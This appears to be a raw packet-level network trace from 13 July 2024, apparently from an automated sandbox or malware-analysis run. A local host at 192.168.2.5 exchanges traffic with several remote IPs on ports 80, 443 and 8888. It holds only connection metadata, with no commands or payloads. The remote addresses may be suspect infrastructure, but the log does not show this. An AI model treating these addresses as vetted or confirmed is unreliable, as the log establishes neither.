Jul 13, 2024 07:07:06.470712900 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.470767975 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.509840012 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.509910107 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.509934902 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.509949923 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.509958982 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.509984016 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.509984016 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.509994984 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.510010004 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.510018110 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.510039091 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.510044098 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.510061026 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.510067940 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.510103941 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.510124922 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.515125990 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.515161037 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.515193939 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.515196085 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.515209913 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.515283108 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.515316010 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.515336037 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.515350103 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.515378952 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.515384912 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.515414000 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.515424967 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.557284117 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.557308912 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.557358027 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.557389021 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.557408094 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.557425022 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.557425976 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.557456017 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.557497978 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.557524920 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.557549953 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.557564974 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.557581902 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.557596922 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.557605982 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.557615042 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.557650089 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.557689905 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.557709932 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.557727098 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.557743073 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.557758093 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.557765007 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.557796955 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.557826996 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.557890892 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.557924032 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.557956934 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.557981968 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.557992935 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.558021069 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.558047056 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.558052063 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.558098078 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.558104992 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.558134079 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.558166981 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.558170080 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.558192015 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.558217049 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.558218956 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.558254957 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.558280945 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.558290005 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.558301926 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.558376074 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.558413029 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.558434010 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.558445930 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.558480024 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.558485985 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.558514118 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.558516979 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.558537960 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.558566093 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.558573008 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.558609009 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.558624029 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.558646917 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.558675051 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.558680058 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.558698893 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.558716059 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.558734894 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.558749914 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.558774948 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.558784962 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.558799028 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.558819056 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.558840036 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.558851004 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.558877945 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.558887005 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.558904886 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.558922052 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.558947086 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.558954954 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.558971882 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.558989048 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.559015989 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.559024096 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.559041977 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.559058905 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.559077978 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.559092999 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.559115887 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.559129000 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.559154034 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.559164047 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.559215069 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.559220076 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.559262037 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.559274912 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.559298038 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.559323072 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.559331894 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.559365034 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.559370041 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.559389114 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.559397936 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.559427023 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.559432983 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.559451103 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.559487104 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.559523106 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.559545994 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.559556007 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.559582949 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.559590101 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.559608936 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.559624910 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.559644938 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.559659004 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.559683084 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.559693098 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.559708118 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.559727907 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.559745073 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.559762001 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.559783936 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.559796095 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.559808969 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.559828997 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.559879065 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.559879065 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.559915066 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.559945107 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.559950113 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.559964895 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.559983015 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.560008049 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.560018063 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.560031891 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.560051918 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.560070992 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.560086966 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.560107946 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.560122967 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.560143948 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.560156107 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.560185909 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.560190916 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.560205936 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.560252905 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.560373068 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.560403109 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.560458899 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.963584900 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.968589067 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:07.150415897 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:07.151746988 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:07.272614002 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:07.277585030 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:07.327583075 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:07.328516006 CEST	58983	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:07.332853079 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:07.333278894 CEST	80	58983	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:07.333344936 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:07.333379984 CEST	58983	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:07.333580971 CEST	58983	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:07.338881016 CEST	80	58983	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:07.344783068 CEST	58984	443	192.168.2.5	188.114.96.3
Jul 13, 2024 07:07:07.344815969 CEST	443	58984	188.114.96.3	192.168.2.5
Jul 13, 2024 07:07:07.344918966 CEST	58984	443	192.168.2.5	188.114.96.3
Jul 13, 2024 07:07:07.346395969 CEST	58984	443	192.168.2.5	188.114.96.3
Jul 13, 2024 07:07:07.346422911 CEST	443	58984	188.114.96.3	192.168.2.5
Jul 13, 2024 07:07:07.459096909 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:07.459229946 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:07.828006983 CEST	443	58984	188.114.96.3	192.168.2.5
Jul 13, 2024 07:07:07.828293085 CEST	58984	443	192.168.2.5	188.114.96.3
Jul 13, 2024 07:07:08.052978039 CEST	80	58983	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:08.053055048 CEST	58983	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:08.144081116 CEST	58984	443	192.168.2.5	188.114.96.3
Jul 13, 2024 07:07:08.144119978 CEST	443	58984	188.114.96.3	192.168.2.5
Jul 13, 2024 07:07:08.144558907 CEST	443	58984	188.114.96.3	192.168.2.5
Jul 13, 2024 07:07:08.217777014 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.224406958 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.224536896 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.225328922 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.230496883 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.272469997 CEST	58984	443	192.168.2.5	188.114.96.3
Jul 13, 2024 07:07:08.272761106 CEST	58984	443	192.168.2.5	188.114.96.3
Jul 13, 2024 07:07:08.272770882 CEST	443	58984	188.114.96.3	192.168.2.5
Jul 13, 2024 07:07:08.774876118 CEST	443	58984	188.114.96.3	192.168.2.5
Jul 13, 2024 07:07:08.774950981 CEST	443	58984	188.114.96.3	192.168.2.5
Jul 13, 2024 07:07:08.775015116 CEST	58984	443	192.168.2.5	188.114.96.3
Jul 13, 2024 07:07:08.790148020 CEST	58984	443	192.168.2.5	188.114.96.3
Jul 13, 2024 07:07:08.790195942 CEST	443	58984	188.114.96.3	192.168.2.5
Jul 13, 2024 07:07:08.790226936 CEST	58984	443	192.168.2.5	188.114.96.3
Jul 13, 2024 07:07:08.790242910 CEST	443	58984	188.114.96.3	192.168.2.5
Jul 13, 2024 07:07:08.816710949 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.816781044 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.816816092 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.816848040 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.816881895 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.816905022 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.816905022 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.816905022 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.816905975 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.816915035 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.816951990 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.816984892 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.816988945 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.816988945 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.817018032 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.817018986 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.817054033 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.817055941 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.817080021 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.817128897 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.821897984 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.822005987 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.822076082 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.822076082 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.904437065 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.904516935 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.904556036 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.904628992 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.904696941 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.904699087 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.904758930 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.904812098 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.904845953 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.904864073 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.904930115 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.905019045 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.905227900 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.905261993 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.905296087 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.905406952 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.905407906 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.905407906 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.905517101 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.905550003 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.905580044 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.905611992 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.905962944 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.906013966 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.906029940 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.906065941 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.906074047 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.906100035 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.906130075 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.906136036 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.906172991 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.906196117 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.906864882 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.906898022 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.906930923 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.907047033 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.907210112 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.909739971 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.909792900 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.909811974 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.909888983 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.994625092 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.994695902 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.994733095 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.994765043 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.994817019 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.994848967 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.994867086 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.994868040 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.994868040 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.994868040 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.994868040 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.994901896 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.994935989 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.994956017 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.994956017 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.994971037 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.994998932 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.995003939 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.995038986 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.995054007 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.995071888 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.995078087 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.995099068 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.995105982 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.995141029 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.995143890 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.995171070 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.995177031 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.995197058 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.995210886 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.995245934 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.995246887 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.995271921 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.995285034 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.995297909 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.995352030 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.995524883 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.995558977 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.995590925 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.995616913 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.995625973 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:08.995661020 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.995682001 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:08.995827913 CEST	8888	58985	43.153.49.49	192.168.2.5
